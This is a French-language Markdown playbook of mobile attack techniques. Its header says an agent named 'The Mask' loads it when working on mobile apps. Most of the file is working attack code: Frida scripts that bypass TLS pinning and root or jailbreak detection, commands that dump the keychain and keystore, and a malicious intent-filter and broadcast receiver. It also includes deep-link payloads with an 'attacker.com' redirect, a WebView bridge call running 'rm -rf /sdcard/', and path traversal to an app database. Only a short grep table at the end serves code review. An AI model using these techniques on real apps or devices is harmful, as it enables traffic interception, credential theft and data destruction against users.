# atk-exploit-mobile.md
> Techniques d'exploitation mobile iOS et Android.
> The Mask charge ce fichier quand : app mobile, Flutter, React Native, APK, IPA, deep links.

---

## 1. Certificate Pinning Bypass

### Android — Frida
```js
// Script Frida pour bypasser le pinning TrustManager
Java.perform(function() {
  var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
  TrustManagerImpl.verifyChain.overload(
    '[Ljava.security.cert.X509Certificate;', 'java.lang.String', 'java.lang.String'
  ).implementation = function(a, b, c) { return a; };
});
```

### Android — objection (automatisé)
```bash
frida -U -f com.target.app --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida
# ou
objection -g com.target.app explore -s "android sslpinning disable"
```

### iOS — Frida + SSL Kill Switch
```bash
frida -U -n TargetApp --codeshare illusionofchaos/ios16-ssl-kill-switch
# Dans Cydia : installer SSL Kill Switch 3
```

**Impact :** Interception de tout le trafic HTTPS → credentials, tokens, API keys.

---

## 2. Deep Link Hijacking

**Android — Intent Spoofing :**
```xml
<!-- App malveillante déclare le même intent filter -->
<activity android:name=".MaliciousActivity">
  <intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.BROWSABLE" />
    <data android:scheme="targetapp" android:host="action" />
  </intent-filter>
</activity>
```
L'OS propose les deux apps quand un `targetapp://` est ouvert → l'utilisateur peut choisir la malveillante.

**Exploitation des paramètres deep link :**
```
targetapp://reset-password?token=ATTACKER_CONTROLLED_VALUE
targetapp://open?url=https://attacker.com  # Open Redirect interne
targetapp://payment?amount=-100            # Logic bypass
```

**iOS — Universal Links sans entitlement valide :**
Si le fichier `apple-app-site-association` est absent ou mal configuré, n'importe quelle app peut s'enregistrer pour le domaine.

---

## 3. WebView Bridge Exploitation

**Android — addJavascriptInterface (< API 17) :**
```js
// Depuis le JavaScript dans la WebView :
window.AndroidBridge.executeCommand("rm -rf /sdcard/");
// Accès à toutes les méthodes Java exposées via @JavascriptInterface
```

**iOS — WKScriptMessageHandler sans validation :**
```swift
// Handler vulnérable
func userContentController(_ ucc: WKUserContentController,
                            didReceive message: WKScriptMessage) {
  let cmd = message.body as! String  // Pas de validation
  shell(cmd)  // RCE
}
```

**React Native / Flutter — Bridge abuse :**
```js
// Appel de méthodes natives sans validation des arguments
NativeModules.FileSystem.readFile("../../../../data/data/com.target/databases/main.db")
```

---

## 4. Keystore / Keychain Extraction

**Android — Extraction hardware-backed keys (si appareil rooté) :**
```bash
# Sur appareil rooté : forcer l'export via Frida
adb shell am start -n com.target/.MainActivity
frida -U -n com.target -l keystore_dump.js
# keystore_dump.js : hook KeyStore.getKey() pour logger les clés en clair
```

**iOS — Keychain dump (Jailbreak) :**
```bash
# Avec Objection sur appareil jailbreaké
objection -g com.target.app explore
ios keychain dump
# Extrait : kSecAttrAccount, kSecValueData (clé en clair)
```

**Extraction sans jailbreak via backup :**
```bash
# Si l'app ne désactive pas la sauvegarde (NSFileProtectionNone)
idevicebackup2 backup .
# Parser le backup pour extraire les données keychain non protégées
python3 parse_ios_backup.py --keychain backup/
```

---

## 5. Root / Jailbreak Detection Bypass

**Android — Frida bypass SafetyNet / Play Integrity :**
```js
Java.perform(function() {
  // Masquer la présence de su, Magisk, etc.
  var File = Java.use('java.io.File');
  File.exists.implementation = function() {
    var name = this.getAbsolutePath();
    if (name.includes("su") || name.includes("magisk")) return false;
    return this.exists();
  };
});
```

**iOS — Bypass détection jailbreak :**
```js
// Frida : hook les appels fichiers et URL schemes
Interceptor.attach(ObjC.classes.NSFileManager["- fileExistsAtPath:"].implementation, {
  onEnter: function(args) {
    var path = ObjC.Object(args[2]).toString();
    if (path.includes("Cydia") || path.includes("MobileSubstrate")) {
      // Forcer retour false
    }
  }
});
```

---

## 6. Intent Sniffing (Android)

**Broadcast implicite intercepté :**
```java
// App malveillante enregistrant un receiver pour les broadcasts non protégés
IntentFilter filter = new IntentFilter("com.target.PAYMENT_COMPLETE");
registerReceiver(new MaliciousReceiver(), filter);
// Reçoit les données de paiement si l'intent n'est pas explicite ou protégé
```

---

## Grep Patterns (code review)

| Signe | Risque |
|-------|--------|
| `addJavascriptInterface` | WebView RCE |
| `android:exported="true"` sans permission | Intent hijacking |
| `NSAllowsArbitraryLoads = true` | Bypass TLS iOS |
| `backupAgent` sans chiffrement | Extraction données backup |
| `DeepLink` sans validation des paramètres | Logic bypass, redirect |
| `kSecAttrAccessible = kSecAttrAccessibleAlways` | Keychain accessible sans auth |
